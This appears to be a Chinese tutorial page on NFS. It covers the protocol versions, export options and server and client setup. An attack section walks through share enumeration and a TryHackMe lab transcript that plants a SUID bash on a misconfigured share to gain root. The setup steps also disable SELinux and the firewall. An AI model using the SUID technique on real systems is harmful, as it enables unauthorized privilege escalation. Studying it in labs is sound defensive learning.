NFS 介绍
关于 NFS 的相关介绍
简介
NFS 具有和 SMB 相同的用途,目的是通过网络访问文件系统,但是两者使用不同的协议
我们可以通过 NFS 将远程目录挂载在本地系统上,就和插了一个 U 盘一样
配置文件: /etc/exports
NFS系统和Windows网络共享、网络驱动器类似, 只不过windows 网络共享用于局域网, NFS用于企业集群架构中, 如果是大型网站, 会用到更复杂的分布式文件系统FastDFS,glusterfs,HDFS,ceph
NFS 协议没有身份验证和授权机制。授权取自配置文件系统的可用信息,服务器负责将客户端提供的用户信息翻译成文件系统的用户信息,并尽可能正确的将相应的授权信息转换成 UNIX 要求的语法
NFSV2
比较旧但是受到许多系统支持,并且最初完全通过 UDP 运行
NFSV3
具有更多的功能,包括可变文件大小和更好的错误报告,但是与 NFSV2 客户端不安全兼容
NFSV4
包括 Kerberos ,通过防火墙和 Internet 工作,不再需要端口映射器,支持 ACL, 应用基于状态的操作,并提高了性能和安全性
NFS 架构

NFS 应用
用户访问NFS客户端,将请求转化为函数
NFS通过TCP/IP连接服务端
NFS服务端接收请求,会先调用portmap进程进行端口映射
Rpc.nfsd进程用于判断NFS客户端能否连接服务端;
Rpc.mount进程用于判断客户端对服务端的操作权限
如果通过权限验证,可以对服务端进行操作,修改或读取
NFS 运行原理


攻击
1. 显示可用的 NFS 共享
$ showmount -e 10.129.14.128
2. 挂载&卸载
# 挂载 NFS 共享
$ mkdir target-NFS
$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
# -t nfs 挂载的设备类型
$ cd target-NFS
$ tree .
# 卸载
$ cd ..
$ umount ./target-NFS
3. 攻击思路--利用 SUID
1. NFS 访问
2. 将 Bash 可执行文件上传到 NFS 共享
3. 利用 NFS 配置错误,设置 BASH SUID 权限
4. 利用获得的 SHELL 去执行 SUID Bash 程序实现权限提升
┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ sudo mount -t nfs 10.10.236.239:/home ./NFS/ -o nolock[sudo] password for jtz:
┌──(jtz㉿JTZ)-[~/Desktop/Temp/TryHackMe]
└─$ cd NFS
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# cp ../bash .
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# chmod +s bash
┌──(root㉿JTZ)-[/home/jtz/Desktop/Temp/TryHackMe/NFS]
└─# ls -al
total 1248
drwxr-xr-x 3 root root 4096 Feb 2 11:53 .
drwxr-xr-x 7 jtz jtz 4096 Feb 2 11:52 ..
-rwsr-sr-x 1 root root 1265648 Feb 2 11:53 bash
drwxr-xr-x 5 jtz jtz 4096 Jun 4 2020 cappucino
# 在获取的 SHELL 上执行
$ ./bash -p
NFS 实践
1. 部署 NFS 服务
服务端
安装相关软件
yum install nfs-utils rpcbind -y # rpcbind是为nfs提供网络
关闭防火墙和 selinux
setenforce 0 systemctl stop firewalld
创建一个目录,用于存放共享文件或者目录
mkdir /data
创建一个系统用户,到时客户端也创建同样用户来统一用户
groupadd www -g 666 useradd www -u 666 -g 666 -M -r -s /sbin/nologin
修改NFS的配置文件(作用:指定NFS的仓库及权限)
# NFS的配置文件:/etc/exports、/etc/lib/nfs/etab
# 格式:[挂载点] [可以访问的IP]([权限])
vi /etc/exports
内容:
/data 172.16.1.0/20(rw,sync,all_squash,anonuid=666,anongid=666)
rw
读写权限 (常用)
ro
只读权限 (不常用)
root_squash
当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的匿名用户(默认)
no_root_squash
当 NFS 客户端以 root 管理员访问时,映射为 NFS 服务器的 root 管理员(不常用)
all_squash
无论 NFS 客户端使用什么账号访问,都映射为 NFS 服务器的匿名用户(常用)
no_all_squash
访客被映射为服务器上相同 uid 的用户(默认)
sync
同时将数据写入到内存和硬盘中,保证数据不丢失数据(常用)
async
优先将数据保存到内存中,然后再写入硬盘,这样效率高,但可能会丢失数据(不常用)
secure
限制客户端只能从小于1024的tcp/ip端口连接服务器 (默认)
insecure
允许客户端从大于1024的tcp/ip端口连接服务器
anonuid
指定匿名访问的用户的本地用户 UID ,默认为 65534
anongid
指定匿名访问用户的本地用户组GID,默认为 65534
wdelay
检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认)
no_wdelay
若有写操作则立即执行,应与sync配合使用
subtree_check
若输出目录是一个子目录,则nfs服务器将检查其父目录的权限 (默认)
no_subtree_check
即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率
启动NFS服务
systemctl start nfs-server rpcbind
查看NFS的挂载点是否设置成功
# 查看指定服务器的挂载点 showmount -e 172.16.1.31 # 查看本机的挂载点 showmount -e
给挂载点授权(用于存放共享文件或者目录)
chown -R www.www /data/
客户端
挂载使用(客户端必须安装nfs-utils)
yum install nfs-utils -y mount -t nfs 172.16.1.31:/data /opt
2. NFS -- 上传文件
客户端
安装web服务软件及nfs-utils
yum install httpd php -y yum install nfs-utils -y
将代码上传到网站根目录(/var/www/html)
给目录下的文件授权
chown -R www.www /var/www/html
修改web软件的用户
vim /etc/httpd/conf/httpd.conf 内容变为: User www Group www
关闭selinux和防火墙
setenforce 0 systemctl disable --now firewalld
启动web软件
systemctl start httpd
挂载
cd /var/www/html/ mkdir upload mount -t nfs 172.16.1.31:/data /var/www/html/upload
测试: 上传、访问
3. NFS 实现文件共享
安装web服务软件及nfs-utils
yum install httpd php -y yum install nfs-utils -y
将NFS挂载到web网站对应目录
mkdir img mount -t nfs 172.16.1.31:/data /var/www/html/img/
开启web服务
systemctl start httpd
测试
参考文章
最后更新于
这有帮助吗?